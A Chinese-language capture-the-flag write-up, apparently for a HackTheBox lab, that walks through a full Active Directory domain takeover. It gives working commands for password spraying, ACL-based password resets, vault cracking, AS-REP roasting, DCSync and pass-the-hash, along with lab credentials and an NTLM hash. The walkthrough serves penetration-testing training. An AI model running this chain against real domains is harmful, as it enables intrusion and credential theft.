一、前期侦察与初始立足
1.1 端口扫描与服务识别
首先,我们通过 Nmap 对目标主机 10.10.11.42
进行端口扫描,旨在识别开放的服务及其版本信息。
sudo nmap 10.10.11.42 -p- --min-rate=5000 -A
图1: Nmap 扫描结果,初步判断为域控制器
扫描结果显示多个与域环境相关的端口开放,如 Kerberos (88), LDAP (389), SMB (445) 等,初步判断这是一台域控制器。
1.2 初始凭据验证与远程连接
靶机提供了一组初始用户凭据:Olivia
/ ichliebedich
。我们首先验证该凭据对 SMB 服务的访问权限。
nxc smb 10.10.11.42 -u 'Olivia' -p 'ichliebedich'
图2: SMB 登录成功验证
随后,测试该凭据是否可用于 WinRM 登录。
nxc winrm 10.10.11.42 -u 'Olivia' -p 'ichliebedich'
图3: WinRM 登录成功验证
确认 WinRM 可用后,使用 evil-winrm
建立远程 PowerShell 会话。
evil-winrm -i 10.10.11.42 -u 'Olivia' -p 'ichliebedich'
图4: 通过 evil-winrm 成功连接目标主机
二、信息收集与初步探索
在获得初始访问权限后,对目标系统进行了文件搜寻和常规命令枚举,但未能发现直接可利用的提权路径。注意力转向其他已发现的服务。
2.1 FTP 与 SMB 共享枚举
尝试连接 FTP 服务,但似乎用户 Olivia
没有相应权限。
ftp 10.10.11.42
接着,枚举 SMB 共享目录。
nxc smb 10.10.11.42 -u 'Olivia' -p 'ichliebedich' --shares
图5: 枚举到的 SMB 共享列表
对 SYSVOL 共享中的文件进行了下载和分析,但并未从中找到敏感信息或可利用的配置。
图6: SYSVOL 内容下载(示意)
图7: 分析 SYSVOL 内容未发现有用信息
2.2 域用户枚举与攻击尝试
通过 LDAP 枚举域内用户,用户描述字段未提供额外线索。
nxc ldap 10.10.11.42 -u 'Olivia' -p 'ichliebedich' --users
图8: LDAP 枚举域用户结果
利用收集到的用户列表(保存为 users.txt
)进行密码喷洒攻击,尝试使用初始密码 ichliebedich
,但未获成功。
nxc smb 10.10.11.42 -u users.txt -p 'ichliebedich'
图9: 密码喷洒尝试失败
此外,AS-REP Roasting 和 Kerberoasting 等常见的域渗透技术也进行了尝试,均未能取得突破。在手动枚举手段基本穷尽后,决定采用 BloodHound 进行更深入的域内信息收集与分析。
三、BloodHound 深入分析与权限横向
3.1 收集 BloodHound 数据
使用 bloodhound-ce-python
工具,以 Olivia
用户的身份收集域内详细信息,并将结果导出。
bloodhound-ce-python -c all -d administrator.htb -u Olivia -p ichliebedich -ns 10.10.11.42 -dc administrator.htb --zip
图10: 使用 bloodhound-ce-python 收集域信息
3.2 权限路径分析:Olivia -> Michael
将收集的数据导入 BloodHound 进行分析。关注当前已控制用户 Olivia
的“出站对象控制 (Outbound Object Control)”权限,发现其对用户 Michael
拥有 GenericAll
权限。这意味着 Olivia
对 Michael
用户对象具备完全控制能力。
图11: BloodHound 显示 Olivia 对 Michael 的 GenericAll 权限
利用此权限,使用 bloodyAD
工具重置 Michael
的密码为 summer123
。
bloodyAD -u 'olivia' -p 'ichliebedich' -d Administrator.htb --host 10.10.11.42 set password 'Michael' 'summer123'
图12: 成功修改 Michael 的密码
3.3 权限路径分析:Michael -> Benjamin
接着,在 BloodHound 中分析用户 Michael
的权限,发现其对用户 Benjamin
拥有 ForceChangePassword
权限,可以强制修改该用户的密码。
图13: BloodHound 显示 Michael 对 Benjamin 的 ForceChangePassword 权限
以 Michael
的身份(密码 summer123
),使用 bloodyAD
修改 Benjamin
的密码为 summer123
。
bloodyAD -u 'Michael' -p 'summer123' -d Administrator.htb --host 10.10.11.42 set password 'benjamin' 'summer123'
图14: 成功修改 Benjamin 的密码
3.4 Benjamin 用户权限探索
查看 Benjamin
所属的组,发现其位于一个名为 Share Moderators
的组中。这个组并非标准组,从名称推断可能与共享资料的管理有关。
图15: Benjamin 用户属于 Share Moderators 组
使用 Benjamin
的新凭据检查 SMB 共享,未发现有价值的新内容。
nxc smb 10.10.11.42 -u benjamin -p 'summer123' --shares
图16: Benjamin 用户身份下的 SMB 共享情况
再次尝试 FTP 服务,这次使用 Benjamin
的凭据,发现了先前未见的文件。通过 wget
将其下载到本地。
wget ftp://10.10.11.42 --ftp-user=benjamin --ftp-password='summer123' -r
图17: Benjamin 用户在 FTP 服务器上发现并下载 Backup.psafe3 文件
下载的文件为 Backup.psafe3
,其后缀表明这很可能是一个 PasswordSafe 密码保险箱文件。
四、凭据破解与进一步横向
4.1 PasswordSafe 文件破解
尝试使用 pwsafe
命令打开该文件,提示需要密码。
图18: 打开 psafe3 文件需要密码
使用 pwsafe2john
工具将 Backup.psafe3
文件转换为 John the Ripper 可识别的哈希格式,然后使用 rockyou.txt
字典进行密码破解。
pwsafe2john Backup.psafe3 > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
图19: 成功破解 psafe3 文件密码
密码成功破解为 tekieromucho
。使用此密码打开 Backup.psafe3
文件,发现其中存储了三个域用户的密码。
图20: PasswordSafe 文件中存储的域用户凭据
4.2 新凭据分析与提权路径选择
在 BloodHound 中分别分析这三个新获得的用户凭据。用户 emily
的权限路径引起了我们的注意,其指向一条通往域管理员的潜在路径。
图21: BloodHound 显示 emily 的权限路径,关键在于对 ethan 的 GenericWrite
具体路径为:emily
对用户 ethan
拥有 GenericWrite
权限,而 ethan
对域控拥有 DCSync
权限。
利用思路:凭借 emily
对 ethan
的 GenericWrite
权限,可以修改 ethan
的用户属性,为其设置“不开启 Kerberos 预身份认证”。随后,即可对 ethan
进行 AS-REP Roasting 攻击,获取其 AS-REP Hash,破解该哈希便能得到 ethan
的密码。
五、最终提权:AS-REP Roasting 与 DCSync
5.1 配置 AS-REP Roasting 条件
使用 emily
的凭据 (UXLCI5iETUsIBoFVTj8yQFKoHjXmb
) 通过 evil-winrm
登录,并执行 PowerShell 命令为用户 ethan
设置“不开启 Kerberos 预身份认证”属性。
# 在 evil-winrm 会话中执行
Get-ADUser ethan | Set-ADAccountControl -doesnotrequirepreauth $true
图22: 为 ethan 用户设置不进行 Kerberos 预认证属性
5.2 获取并破解 AS-REP Hash
使用 Impacket 工具包中的 GetNPUsers.py
脚本,请求用户 ethan
的 AS-REP Hash。
impacket-GetNPUsers -dc-ip 10.10.11.42 -request -outputfile hashes.asreproast administrator.htb/emily
图23: 获取 AS-REP Hash
使用 hashcat
对获取到的哈希进行破解。
hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
图24: 成功破解得到密码 “limpbizkit”
成功获取到 ethan
用户的密码为 limpbizkit
。
5.3 DCSync 获取域管理员哈希
已知 ethan
用户拥有 DCSync
权限,可利用此权限从活动目录中转储密码哈希。使用 Impacket 工具包中的 secretsdump.py
。
impacket-secretsdump administrator.htb/ethan:'limpbizkit'@10.10.11.42
图25: secretsdump 成功转储 AD 密码,获取 Administrator 的 NTLM Hash
从输出中,我们得到了域管理员 Administrator
的 NTLM Hash:3dc553ce4b9fd20bd016e098d2d2fd2e
。
5.4 Pass-the-Hash 登录域控
最后,利用获取到的域管理员 NTLM Hash,通过 psexec.py
进行 Pass-the-Hash 攻击,以域管理员身份登录域控制器。
impacket-psexec -hashes :3dc553ce4b9fd20bd016e098d2d2fd2e administrator@10.10.11.42
图26: 成功通过 Pass-the-Hash 获取域控的 SYSTEM 权限